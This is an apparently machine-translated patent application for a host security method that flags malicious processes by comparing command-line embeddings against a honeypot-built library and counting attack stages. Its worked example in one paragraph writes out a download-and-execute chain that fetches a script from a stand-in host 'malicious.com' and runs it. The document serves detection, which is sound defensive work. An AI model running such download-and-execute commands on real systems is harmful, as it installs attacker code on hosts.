Host security protection method, device and equipment and readable storage medium

Abstract

A host security protection method, apparatus and device, and a readable storage medium, the host security protection method comprising: for each piece of collected process data, if a command name exists in a malicious process library, converting a process command line into first vector data; searching malicious process data with the highest similarity with the first vector data in a malicious process library; if the similarity between the malicious process data with the highest similarity and the first vector data is greater than a first preset similarity, judging the process data as malicious; and if the number of different process command lines in the process data judged to be malicious within the preset duration is greater than a first preset number or the number of different behavior stages is greater than a second preset number, performing security early warning on the host. Through the method and the device, various complex and perfect abnormal process chain detection rules do not need to be formulated in advance, the advantages of simple detection and high efficiency are achieved, and the host protection safety can be improved.

Description

Technical Field

[0001] The present application relates to the field of host security technology, and in particular to a host security protection method, device, equipment and readable storage medium. Background Art

[0002] In the field of host security, process chain behavior sequence detection identifies potential security threats based on the relationship and behavior characteristics between each process, and is very effective in preventing malicious attacks such as penetration attacks, botnets, Trojan programs, and worm viruses.

[0003] However, since process chain behavior sequence detection requires the pre-establishment of various complex and complete detection rules for abnormal process chains, if the established abnormal process chain detection rules are not perfect enough, there is a risk of missing malicious process attacks.

[0004] In summary, the current process chain behavior sequence detection has the problems of high detection complexity and low efficiency. Summary of the invention

[0005] The present application provides a host security protection method, device, equipment and readable storage medium, aiming to solve the technical problems of high detection complexity and low efficiency in current process chain behavior sequence detection.

[0006] In a first aspect, an embodiment of the present application provides a host security protection method, the host security protection method comprising:

[0007] Collecting multiple pieces of process data from a host, wherein each piece of process data includes a process command line, and the process command line includes a command name;

[0008] For each piece of collected process data, if the command name exists in the malicious process library, the process command line is converted into the first vector data;

[0009] Find malicious process data in the malicious process library that has the highest similarity to the first vector data;

[0010] If the similarity between the malicious process data with the highest similarity and the first vector data is greater than a first preset similarity, the process data is determined to be malicious, and the behavior stage of the malicious process data with the highest similarity is used as the behavior stage of the process data;

[0011] If the number of different process command lines in the process data determined to be malicious within a preset time period is greater than a first preset number or the number of different behavior stages is greater than a second preset number, a security warning is issued to the host.

[0012] Optionally, for each piece of collected process data, if the command name exists in the malicious process library, before converting the process command line into the first vector data, the following steps are included:

[0013] Capture multiple process data through the honeypot system;

[0014] For each captured process data, if the process command line of the process data does not exist in the malicious process library, convert the process command line of the process data into second vector data;

[0015] Find malicious process data in the malicious process library that has the highest similarity to the second vector data;

[0016] If the similarity between the malicious process data with the highest similarity and the second vector data is less than a second preset similarity, the process data and the corresponding second vector data are stored in a malicious process library;

[0017] If the similarity between the malicious process data with the highest similarity and the second vector data is greater than or equal to the second preset similarity and less than the third preset similarity, then determining whether the process data is malicious by using the large model;

[0018] If the process data is determined to be malicious by the large model, the process data and the corresponding second vector data are stored in the malicious process library;

[0019] For each piece of process data stored in the malicious process library, the behavior phase of the process data is identified through the large model and stored in the malicious process library.

[0020] Optionally, for each captured process data, if the process command line of the process data does not exist in the malicious process library, before converting the process command line of the process data into the second vector data, the method includes:

[0021] At least one filtering method selected from whitelist filtering, blacklist filtering, statistical deduplication filtering and large model filtering is used to filter the captured multiple process data.

[0022] Optionally, searching for malicious process data having the highest similarity to the first vector data in the malicious process library includes:

[0023] Find the malicious process data in the malicious process library whose second vector data corresponding to the malicious process data has the highest similarity with the first vector data.

[0024] Optionally, for each piece of collected process data, if the command name exists in the malicious process library, before converting the process command line into the first vector data, the method further includes:

[0025] At least one filtering method selected from whitelist filtering, blacklist filtering, statistical deduplication filtering and large model filtering is used to filter the collected multiple process data.

[0026] Optionally, after issuing a security warning to the host if the number of different process command lines in the process data determined to be malicious within the preset time period is greater than a first preset number or the number of different behavior stages is greater than a second preset number, the method includes:

[0027] Perform malicious detection on process data other than process data determined to be malicious within a preset time period;

[0028] The process data detected as malicious is stored in the malicious process library.

[0029] In a second aspect, an embodiment of the present application provides a host security protection device, the host security protection device comprising:

[0030] A collection module, used to collect multiple process data of the host, wherein each process data includes a process command line, and the process command line includes a command name;

[0031] A conversion module, for converting each piece of collected process data into a first vector data if the command name exists in the malicious process library;

[0032] A search module, used for searching the malicious process data in the malicious process library that has the highest similarity to the first vector data;

[0033] A determination module, configured to determine the process data as malicious if the similarity between the malicious process data with the highest similarity and the first vector data is greater than a first preset similarity, and to use the behavior stage of the malicious process data with the highest similarity as the behavior stage of the process data;

[0034] The early warning module is used to issue a security warning to the host if the number of different process command lines in the process data determined to be malicious within a preset time period is greater than a first preset number or the number of different behavior stages is greater than a second preset number.

[0035] Optionally, the host security protection device further includes an establishment module, which is used to:

[0036] Capture multiple process data through the honeypot system;

[0037] For each captured process data, if the process command line of the process data does not exist in the malicious process library, convert the process command line of the process data into second vector data;

[0038] Find malicious process data in the malicious process library that has the highest similarity to the second vector data;

[0039] If the similarity between the malicious process data with the highest similarity and the second vector data is less than a second preset similarity, the process data and the corresponding second vector data are stored in a malicious process library;

[0040] If the similarity between the malicious process data with the highest similarity and the second vector data is greater than or equal to the second preset similarity and less than the third preset similarity, then determining whether the process data is malicious by using the large model;

[0041] If the process data is determined to be malicious by the large model, the process data and the corresponding second vector data are stored in the malicious process library;

[0042] For each piece of process data stored in the malicious process library, the behavior phase of the process data is identified through the large model and stored in the malicious process library.

[0043] In a third aspect, an embodiment of the present application provides a host security protection device, which includes a processor, a memory, and a host security protection program stored in the memory and executable by the processor, wherein when the host security protection program is executed by the processor, the steps of the host security protection method described above are implemented.

[0044] In a fourth aspect, an embodiment of the present application provides a readable storage medium, on which a host security protection program is stored, wherein when the host security protection program is executed by a processor, the steps of the host security protection method as described above are implemented.

[0045] The beneficial effects brought by the technical solution provided in the embodiments of the present application include:

[0046] In an embodiment of the present application, multiple process data of a host are collected, wherein each process data includes a process command line, and the process command line includes a command name; for each collected process data, if the command name exists in a malicious process library, the process command line is converted into first vector data; the malicious process data in the malicious process library with the highest similarity to the first vector data is searched; if the similarity between the malicious process data with the highest similarity and the first vector data is greater than a first preset similarity, the process data is determined to be malicious, and the behavior stage of the malicious process data with the highest similarity is used as the behavior stage of the process data; if the number of different process command lines in the process data determined to be malicious within a preset time period is greater than a first preset number or the number of different behavior stages is greater than a second preset number, a security warning is issued to the host. The embodiment of the present application provides a security warning for the host to be protected as long as the number of different process command lines in the detected malicious process data is greater than a first preset number or the number of different behavior stages is greater than a second preset number within a certain preset time period. Compared with the current process chain behavior sequence detection, there is no need to pre-formulate various complex and complete detection rules for abnormal process chains, and it has the advantages of simple detection and high efficiency. It can also determine malicious process attacks from multiple behavior stages of process data determined to be malicious within a certain preset time period, thereby improving the security of host protection. BRIEF DESCRIPTION OF THE DRAWINGS

[0047] Figure 1 This is a first flow chart of an embodiment of a host security protection method of the present application;

[0048] Figure 2 This is a second flow diagram of an embodiment of the host security protection method of the present application;

[0049] Figure 3 This is a schematic diagram of the overall process of an embodiment of the host security protection method of the present application;

[0050] Figure 4 This is a functional module diagram of an embodiment of the host safety protection device of the present application;

[0051] Figure 5 This is a schematic diagram of the hardware structure of the host security protection device involved in the embodiment of the present application. DETAILED DESCRIPTION

[0052] In order to enable those skilled in the art to better understand the solution of the present application, the technical solution in the embodiments of the present application will be clearly and completely described below in conjunction with the drawings in the embodiments of the present application. Obviously, the described embodiments are only part of the embodiments of the present application, not all of the embodiments. Based on the embodiments in the present application, all other embodiments obtained by ordinary technicians in this field without creative work are within the scope of protection of this application.

[0053] In order to make the objectives, technical solutions and advantages of the present application clearer, the implementation methods of the present application will be further described in detail below with reference to the accompanying drawings.

[0054] In a first aspect, an embodiment of the present application provides a host security protection method.

[0055] In one embodiment, referring to Figure 1 , Figure 1 This is a first flow chart of an embodiment of the host security protection method of the present application, such as Figure 1 As shown, the host security protection method includes:

[0056] Step S10, collecting multiple process data of the host, wherein each process data includes a process command line, and the process command line includes a command name.

[0057] In this embodiment, the process data of the protected host can be collected in real time to obtain multiple process data, each of which includes the process command line, process name, process path, process md5 and the user who executes the process, etc. The process command line includes the command name and command parameters.

[0058] Step S20: for each piece of collected process data, if the command name exists in the malicious process library, the process command line is converted into first vector data.

[0059] In this embodiment, a piece of process data collected includes a process command line "chmod+x / tmp / malware.sh" as an example, "chmod" is the command name, and "+x / tmp / malware.sh" is the command parameter. There are multiple pieces of malicious process data pre-stored in the malicious process library. In order to improve the detection efficiency, firstly, a quick search and match is performed in the malicious process library based on the text to find out whether the command name "chmod" of the process data exists in the malicious process library. If not, the subsequent detection steps for the process data are terminated. If it exists, the process command line "chmod+x / tmp / malware.sh" of the process data is further converted into the first vector data. Among them, Embedding in machine learning refers to mapping discrete high-dimensional data (such as text, pictures, and audio) to a low-dimensional continuous vector space. This process will generate a vector composed of real numbers to capture the potential relationship and structure of the original data. In the specific implementation process, the process command line can be converted into the first vector data by learning text representation through word embedding technology (such as Word2Vec) or complex models (such as BERT). It should be noted that more fields besides the command name may be used when performing a quick search and match, such as the process command line and process name, etc., and customized settings may be performed according to specific needs.

[0060] Step S30, searching the malicious process library for malicious process data having the highest similarity to the first vector data.

[0061] In this embodiment, a plurality of malicious process data are pre-stored in the malicious process library, each malicious process data includes a process command line, and the process command line has corresponding vector data. Specifically, the similarity between the vector data corresponding to the process command line of each malicious process data and the first vector data is searched in the malicious process library, and the malicious process data with the highest similarity is selected.

[0062] Step S40: If the similarity between the malicious process data with the highest similarity and the first vector data is greater than a first preset similarity, the process data is determined to be malicious, and the behavior stage of the malicious process data with the highest similarity is used as the behavior stage of the process data.

[0063] In this embodiment, if the similarity between the malicious process data with the highest similarity and the first vector data is greater than the first preset similarity, the first preset similarity is, for example, 0.7, indicating that the similarity between the process data and the malicious process data in the malicious process library is high, then the process data is judged to be malicious, and the behavior stage of the malicious process data with the highest similarity is used as the behavior stage of the process data through the malicious process library, where the behavior stage may include: malicious program self-check, locking and unlocking key directories, uninstalling or deleting security software, shutting down security configuration, mining related, domain name resolution processing, scheduled task processing, information collection, file download and persistence processing, etc.

[0064] Step S50: If the number of different process command lines in the process data determined to be malicious within a preset time period is greater than a first preset number or the number of different behavior stages is greater than a second preset number, a security warning is issued to the host.

[0065] In this embodiment, detection and early warning of malicious process attacks are performed by counting the number of different process command lines and the number of different behavior stages in process data determined to be malicious within a certain preset time. Specifically, the preset time is, for example, 5 minutes, the first preset number is, for example, 2, and the second preset number is, for example, 2. Assume that 3 pieces of process data determined to be malicious are detected within 5 minutes, namely: wget http: / / malicious.com / malware.sh-O / tmp / malware.sh, chmod+x / tmp / malware.sh, bash / tmp / malware.sh. The process command lines of these 3 pieces of process data determined to be malicious are different, and the number of different process command lines is 3, which is greater than the first preset number 2. Therefore, a security early warning is required for the host to be protected. Or the behavior stages of these 3 pieces of process data determined to be malicious are different, and the number of different behavior stages is 3, which is greater than the second preset number 2. Therefore, a security early warning is required for the host to be protected. It can be seen that the malicious process attack detection method in this embodiment, compared with the current process chain behavior sequence detection, does not require the pre-formulation of various complex and complete abnormal process chain detection rules, and has the advantages of simple detection and high efficiency. It can also judge malicious process attacks from multiple behavioral stages of process data judged as malicious within a certain preset time period, thereby improving the security of host protection.

[0066] In this embodiment, the process data of the protected host is collected in real time to obtain multiple process data. The malicious process library pre-stores multiple malicious process data. For each collected process data, in order to improve the detection efficiency, firstly, a quick text-based search and match is performed in the malicious process library to find out whether the command name of the process data exists in the malicious process library. If not, the subsequent detection steps for the process data are terminated. If so, the process command line of the process data is further converted into first vector data, and the similarity between the vector data corresponding to the process command line of each malicious process data and the first vector data is searched in the malicious process library, and the malicious process data with the highest similarity is selected. If the similarity between the malicious process data with the highest similarity and the first vector data is greater than the first vector data, the malicious process data with the highest similarity is selected. A preset similarity indicates that the similarity between the process data and a malicious process data in the malicious process library is high, then the process data is judged as malicious, and the behavior stage of the malicious process data with the highest similarity is used as the behavior stage of the process data through the malicious process library. By counting the number of different process command lines and the number of different behavior stages in the process data judged as malicious within a certain preset time, malicious process attack detection and early warning are performed. Compared with the current process chain behavior sequence detection, there is no need to pre-formulate various complex and complete abnormal process chain detection rules, and it has the advantages of simple detection and high efficiency. In addition, malicious process attacks are judged from multiple behavior stages of process data judged as malicious within a certain preset time, which can improve the security of host protection.

[0067] Further, in one embodiment, referring to Figure 2 , Figure 2 This is a second flow chart of an embodiment of the host security protection method of the present application, such as Figure 2 As shown, before step S20, it includes:

[0068] Step S01, capturing multiple pieces of process data through a honeypot system;

[0069] Step S02, for each captured process data, if the process command line of the process data does not exist in the malicious process library, converting the process command line of the process data into second vector data;

[0070] Step S03, searching the malicious process database for malicious process data having the highest similarity to the second vector data;

[0071] Step S04, if the similarity between the malicious process data with the highest similarity and the second vector data is less than a second preset similarity, the process data and the corresponding second vector data are stored in a malicious process library;

[0072] Step S05, if the similarity between the malicious process data with the highest similarity and the second vector data is greater than or equal to the second preset similarity and less than the third preset similarity, determining whether the process data is malicious by using the large model;

[0073] Step S06, if the process data is determined to be malicious by the large model, the process data and the corresponding second vector data are stored in a malicious process library;

[0074] Step S07: for each piece of process data stored in the malicious process library, the behavior phase of the process data is identified by the large model and stored in the malicious process library.

[0075] In this embodiment, the honeypot system is an active network security defense strategy that attracts and deceives potential attackers by simulating vulnerable systems, services or information, thereby recording process data during the period when the honeypot is attacked, such as process command line, process name, process path, process md5 and the user who executes the process. For each captured process data, firstly, a quick search and match is performed in the malicious process library based on the process command line. If the process command line of the process data exists in the malicious process library, it is not stored repeatedly. If the process command line of the process data does not exist in the malicious process library, the process command line of the process data is converted into a second vector data, and the vector data corresponding to the process command line of each malicious process data in the malicious process library is searched for the malicious process data with the highest similarity to the second vector data. The malicious process data with the highest similarity is selected. If the similarity between the malicious process data with the highest similarity and the second vector data is less than the second preset similarity, the second preset similarity is, for example, 0.5, indicating that the similarity between the process data and the malicious process data in the malicious process library is low, then the process data needs to be deleted. The data and the corresponding second vector data are stored in the malicious process library. If the similarity between the malicious process data with the highest similarity and the second vector data is greater than or equal to the second preset similarity and less than the third preset similarity, and the third preset similarity is, for example, 0.7, then the large model is used to determine whether the process data is malicious, and the process data determined to be malicious by the large model and the corresponding second vector data are stored in the malicious process library. In addition, if the similarity between the malicious process data with the highest similarity and the second vector data is greater than the third preset similarity of 0.7, it means that the similarity between the process data and the malicious process data in the malicious process library is very high, and repeated storage is not performed. When each process data is stored in the malicious process library, the behavior stage of the process data is identified by the large model and stored in the malicious process library together with the process data. It can be seen that a large amount of malicious process data can be efficiently collected through the honeypot system, and can be efficiently and accurately compared with the malicious process data in the malicious process library through text matching, similarity matching and large model judgment, avoiding repeated storage of malicious process data and improving the richness of malicious process library data. In addition, it is easy to understand that the malicious process library only stores the vector data and behavior stages corresponding to each malicious process data and process command line, and there is no need to store and maintain the complex relationship between each malicious process data, which greatly reduces the complexity of building and maintaining the malicious process library, has higher data query efficiency, and can improve the detection efficiency of malicious process attacks. Figure 3 , Figure 3 This is a schematic diagram of the overall process of an embodiment of the host security protection method of the present application, such as Figure 3As shown, a large amount of process data is captured through the honeypot system, a malicious process library is built, process data is collected from the host to be protected in real time, analysis and judgment are performed based on the malicious process library, real-time security protection is achieved for the host to be protected, and a complete set of safe and efficient host security protection system is formed.

[0076] Furthermore, in one embodiment, before step S02, the following steps are included:

[0077] At least one filtering method selected from whitelist filtering, blacklist filtering, statistical deduplication filtering and large model filtering is used to filter the captured multiple process data.

[0078] In this embodiment, multiple process data filtering methods are supported, and users can choose to configure them according to their needs. The amount of process data collected by the honeypot system is usually large. Filtering it through one or more filtering methods can greatly reduce the order of magnitude of data processing. The process data collected by the honeypot system may also contain normal process data. Filtering it through one or more filtering methods can improve the accuracy of malicious process library construction. Among them, whitelist filtering means that if a certain process data is in the whitelist, it will be filtered and no subsequent malicious process data detection will be performed on it. Blacklist filtering means that if a certain process data is in the blacklist, it will be screened out for subsequent malicious process data detection. Statistical deduplication filtering means that if a certain process data appears too many times within a period of time, it will be filtered and no subsequent malicious process data detection will be performed on it. The process data can also be detected and filtered through a large model, and the specific large model used is not limited here. It is recommended to use an artificial intelligence model with 72 billion parameters or more.

[0079] Furthermore, in one embodiment, step S30 includes:

[0080] Find the malicious process data in the malicious process library whose second vector data corresponding to the malicious process data has the highest similarity with the first vector data.

[0081] In this embodiment, a plurality of malicious process data are pre-stored in the malicious process library, each malicious process data includes a process command line, and the process command line has corresponding vector data. Specifically, the similarity between the vector data corresponding to the process command line of each malicious process data and the first vector data is searched in the malicious process library, and the malicious process data with the highest similarity is selected.

[0082] Furthermore, in one embodiment, before step S20, the method further includes:

[0083] At least one filtering method selected from whitelist filtering, blacklist filtering, statistical deduplication filtering and large model filtering is used to filter the collected multiple process data.

[0084] In this embodiment, the process data collected in real time from the host to be protected may also be large in volume, especially when the host to be protected is deployed in a distributed cluster. Multiple process data filtering methods are supported, and users can choose and configure them according to their needs. Filtering through one or more filtering methods can greatly improve the efficiency and accuracy of subsequent malicious process attack detection.

[0085] Furthermore, in one embodiment, after step S50, the following steps are included:

[0086] Perform malicious detection on process data other than process data determined to be malicious within a preset time period;

[0087] The process data detected as malicious is stored in the malicious process library.

[0088] In this embodiment, you can continue to refer to Figure 3 After a security warning is issued to the protected host, the user can confirm the security warning. After the security warning is confirmed, for this security warning, malicious detection is performed on process data other than process data determined to be malicious. Analysis and detection can be combined with multiple operation indicators, and more malicious process data can be selected to be stored in the malicious process library, so as to further enrich and improve the malicious process library, improve the accuracy of malicious process attack detection, and improve the security of host protection.

[0089] In a second aspect, an embodiment of the present application also provides a host security protection device.

[0090] In one embodiment, referring to Figure 4 , Figure 4 This is a functional module diagram of an embodiment of the host security protection device of the present application, such as Figure 4 As shown, the host safety protection device includes:

[0091] The collection module 10 is used to collect multiple process data of the host, wherein each process data includes a process command line, and the process command line includes a command name;

[0092] The conversion module 20 is used for converting the process command line into the first vector data for each collected process data if the command name exists in the malicious process library;

[0093] A search module 30, used to search the malicious process data in the malicious process library for the malicious process data having the highest similarity to the first vector data;

[0094] A determination module 40, configured to determine the process data as malicious if the similarity between the malicious process data with the highest similarity and the first vector data is greater than a first preset similarity, and to use the behavior stage of the malicious process data with the highest similarity as the behavior stage of the process data;

[0095] The warning module 50 is used to issue a security warning to the host if the number of different process command lines in the process data determined to be malicious within a preset time period is greater than a first preset number or the number of different behavior stages is greater than a second preset number.

[0096] Furthermore, in one embodiment, the host security protection device further includes a building module, which is used to:

[0097] Capture multiple process data through the honeypot system;

[0098] For each captured process data, if the process command line of the process data does not exist in the malicious process library, convert the process command line of the process data into second vector data;

[0099] Find malicious process data in the malicious process library that has the highest similarity to the second vector data;

[0100] If the similarity between the malicious process data with the highest similarity and the second vector data is less than a second preset similarity, the process data and the corresponding second vector data are stored in a malicious process library;

[0101] If the similarity between the malicious process data with the highest similarity and the second vector data is greater than or equal to the second preset similarity and less than the third preset similarity, then determining whether the process data is malicious by using the large model;

[0102] If the process data is determined to be malicious by the large model, the process data and the corresponding second vector data are stored in the malicious process library;

[0103] For each piece of process data stored in the malicious process library, the behavior phase of the process data is identified through the large model and stored in the malicious process library.

[0104] Furthermore, in one embodiment, the host security protection device further includes a first filtering module, which is used to:

[0105] At least one filtering method selected from whitelist filtering, blacklist filtering, statistical deduplication filtering and large model filtering is used to filter the captured multiple process data.

[0106] Furthermore, in one embodiment, the search module 30 is used to:

[0107] Find the malicious process data in the malicious process library whose second vector data corresponding to the malicious process data has the highest similarity with the first vector data.

[0108] Furthermore, in one embodiment, the host security protection device further includes a second filtering module, which is used to:

[0109] At least one filtering method selected from whitelist filtering, blacklist filtering, statistical deduplication filtering and large model filtering is used to filter the collected multiple process data.

[0110] Furthermore, in one embodiment, the host security protection device further includes a storage module, which is used to:

[0111] Perform malicious detection on process data other than process data determined to be malicious within a preset time period;

[0112] The process data detected as malicious is stored in the malicious process library.

[0113] Among them, the functional implementation of each module in the above-mentioned host security protection device corresponds to the various steps in the above-mentioned host security protection method embodiment, and its functions and implementation processes will not be repeated here one by one.

[0114] In a third aspect, an embodiment of the present application provides a host security protection device.

[0115] Reference Figure 5 , Figure 5 The hardware structure diagram of the host security protection device involved in the embodiment of the present application is shown in FIG. In the embodiment of the present application, the host security protection device may include a processor, a memory, a communication interface, and a communication bus.

[0116] The communication bus may be of any type and is used to interconnect the processor, the memory, and the communication interface.

[0117] The communication interface includes input / output (I / O) interfaces, physical interfaces, and logical interfaces, which are used to interconnect the devices inside the host security protection device, and interfaces used to interconnect the host security protection device with other devices (such as other computing devices or user devices). The physical interface can be an Ethernet interface, a fiber optic interface, an ATM interface, etc.; the user device can be a display, a keyboard, etc.

[0118] The memory can be various types of storage media, such as random access memory (RAM), read-only memory (ROM), non-volatile RAM (NVRAM), flash memory, optical storage, hard disk, programmable ROM (PROM), erasable PROM (EPROM), electrically erasable PROM (EEPROM), etc.

[0119] The processor may be a general-purpose processor, and the general-purpose processor may call the host security protection program stored in the memory and execute the host security protection method provided in the embodiment of the present application. For example, the general-purpose processor may be a central processing unit (CPU). The method executed when the host security protection program is called may refer to the various embodiments of the host security protection method of the present application, and will not be repeated here.

[0120] Those skilled in the art will understand that Figure 5 The hardware structure shown in the figure does not constitute a limitation on the present application, and may include more or less components than shown in the figure, or combine certain components, or arrange the components differently.

[0121] In a fourth aspect, an embodiment of the present application also provides a readable storage medium.

[0122] A host security protection program is stored on the readable storage medium of the present application, wherein when the host security protection program is executed by the processor, the steps of the host security protection method as described above are implemented.

[0123] Among them, the method implemented when the host security protection program is executed can refer to the various embodiments of the host security protection method of the present application, and will not be repeated here.

[0124] It should be noted that the serial numbers of the above-mentioned embodiments of the present application are only for description and do not represent the advantages or disadvantages of the embodiments.

[0125] The terms "including" and "having" and any variations thereof in the specification and claims of this application and the above-mentioned drawings are intended to cover non-exclusive inclusions. For example, a process, method, system, product or device that includes a series of steps or units is not limited to the listed steps or units, but optionally includes steps or units that are not listed, or optionally includes other steps or units inherent to these processes, methods, products or devices. The terms "first", "second" and "third" are used to distinguish different objects, etc., and do not represent a sequence, nor do they limit "first", "second" and "third" to different types.

[0126] In the description of the embodiments of the present application, "exemplary", "for example" or "for example" are used to indicate examples, illustrations or descriptions. Any embodiment or design described as "exemplary", "for example" or "for example" in the embodiments of the present application should not be interpreted as being more preferred or more advantageous than other embodiments or designs. Specifically, the use of words such as "exemplary", "for example" or "for example" is intended to present related concepts in a specific way.

[0127] In the description of the embodiments of the present application, unless otherwise specified, “ / ” means or, for example, A / B can mean A or B; the “and / or” in the text is merely a description of the association relationship of associated objects, indicating that three relationships may exist, for example, A and / or B can mean: A exists alone, A and B exist at the same time, and B exists alone. In addition, in the description of the embodiments of the present application, “multiple” refers to two or more than two.

[0128] In some processes described in the embodiments of the present application, multiple operations or steps that appear in a specific order are included, but it should be understood that these operations or steps may not be executed in the order in which they appear in the embodiments of the present application or in parallel, and the sequence number of the operation is only used to distinguish the different operations, and the sequence number itself does not represent any execution order. In addition, these processes may include more or fewer operations, and these operations or steps may be executed in sequence or in parallel, and these operations or steps may be combined.

[0129] Through the description of the above implementation methods, those skilled in the art can clearly understand that the above-mentioned embodiment methods can be implemented by means of software plus a necessary general hardware platform, and of course by hardware, but in many cases the former is a better implementation method. Based on such an understanding, the technical solution of the present application is essentially or the part that contributes to the prior art can be embodied in the form of a software product, which is stored in a storage medium (such as ROM / RAM, disk, CD) as described above, and includes a number of instructions for a terminal device to execute the methods described in each embodiment of the present application.

[0130] The above are only preferred embodiments of the present application, and are not intended to limit the patent scope of the present application. Any equivalent structure or equivalent process transformation made using the contents of the present application specification and drawings, or directly or indirectly applied in other related technical fields, are also included in the patent protection scope of the present application.

Claims

1. A host security protection method, characterized in that: The host security protection method comprises: Collecting multiple pieces of process data from a host, wherein each piece of process data includes a process command line, and the process command line includes a command name; For each piece of collected process data, if the command name exists in the malicious process library, the process command line is converted into the first vector data; Find malicious process data in the malicious process library that has the highest similarity to the first vector data; If the similarity between the malicious process data with the highest similarity and the first vector data is greater than a first preset similarity, the process data is determined to be malicious, and the behavior stage of the malicious process data with the highest similarity is used as the behavior stage of the process data; If the number of different process command lines in the process data determined to be malicious within a preset time period is greater than a first preset number or the number of different behavior stages is greater than a second preset number, a security warning is issued to the host.

2. The host security protection method according to claim 1, characterized in that: For each piece of collected process data, if the command name exists in the malicious process library, before converting the process command line into the first vector data, the following steps are included: Capture multiple process data through the honeypot system; For each captured process data, if the process command line of the process data does not exist in the malicious process library, convert the process command line of the process data into second vector data; Find malicious process data in the malicious process library that has the highest similarity to the second vector data; If the similarity between the malicious process data with the highest similarity and the second vector data is less than a second preset similarity, the process data and the corresponding second vector data are stored in a malicious process library; If the similarity between the malicious process data with the highest similarity and the second vector data is greater than or equal to the second preset similarity and less than the third preset similarity, then determining whether the process data is malicious by using the large model; If the process data is determined to be malicious by the large model, the process data and the corresponding second vector data are stored in the malicious process library; For each piece of process data stored in the malicious process library, the behavior phase of the process data is identified through the large model and stored in the malicious process library.

3. The host security protection method according to claim 2, characterized in that: In the above step of converting the process command line of the process data into the second vector data for each captured process data, if the process command line of the process data does not exist in the malicious process library, the following steps are included before converting the process command line of the process data into the second vector data: At least one filtering method selected from whitelist filtering, blacklist filtering, statistical deduplication filtering and large model filtering is used to filter the captured multiple process data.

4. The host security protection method according to claim 2, characterized in that: The step of searching for malicious process data having the highest similarity to the first vector data in the malicious process library includes: Find the malicious process data in the malicious process library whose second vector data corresponding to the malicious process data has the highest similarity with the first vector data.

5. The host security protection method according to claim 1, characterized in that: For each piece of collected process data, if the command name exists in the malicious process library, before converting the process command line into the first vector data, the method further includes: At least one filtering method selected from whitelist filtering, blacklist filtering, statistical deduplication filtering and large model filtering is used to filter the collected multiple process data.

6. The host security protection method according to claim 1, characterized in that: After issuing a security warning to the host if the number of different process command lines in the process data determined to be malicious within the preset time period is greater than a first preset number or the number of different behavior stages is greater than a second preset number, the method includes: Perform malicious detection on process data other than process data determined to be malicious within a preset time period; The process data detected as malicious is stored in the malicious process library.

7. A host safety protection device, characterized in that: The host safety protection device comprises: A collection module, used to collect multiple process data of the host, wherein each process data includes a process command line, and the process command line includes a command name; A conversion module, for converting each piece of collected process data into a first vector data if the command name exists in the malicious process library; A search module, used for searching the malicious process data in the malicious process library that has the highest similarity to the first vector data; A determination module, configured to determine the process data as malicious if the similarity between the malicious process data with the highest similarity and the first vector data is greater than a first preset similarity, and to use the behavior stage of the malicious process data with the highest similarity as the behavior stage of the process data; The early warning module is used to issue a security warning to the host if the number of different process command lines in the process data determined to be malicious within a preset time period is greater than a first preset number or the number of different behavior stages is greater than a second preset number.

8. The host safety protection device according to claim 7, characterized in that: The host security protection device also includes a building module, which is used to: Capture multiple process data through the honeypot system; For each captured process data, if the process command line of the process data does not exist in the malicious process library, convert the process command line of the process data into second vector data; Find malicious process data in the malicious process library that has the highest similarity to the second vector data; If the similarity between the malicious process data with the highest similarity and the second vector data is less than a second preset similarity, the process data and the corresponding second vector data are stored in a malicious process library; If the similarity between the malicious process data with the highest similarity and the second vector data is greater than or equal to the second preset similarity and less than the third preset similarity, then determining whether the process data is malicious by using the large model; If the process data is determined to be malicious by the large model, the process data and the corresponding second vector data are stored in the malicious process library; For each piece of process data stored in the malicious process library, the behavior phase of the process data is identified through the large model and stored in the malicious process library.

9. A host security protection device, characterized in that: The host security protection device includes a processor, a memory, and a host security protection program stored in the memory and executable by the processor, wherein when the host security protection program is executed by the processor, the steps of the host security protection method as described in any one of claims 1 to 6 are implemented.

10. A readable storage medium, characterized in that: The readable storage medium stores a host security protection program, wherein when the host security protection program is executed by the processor, the steps of the host security protection method according to any one of claims 1 to 6 are implemented.

Images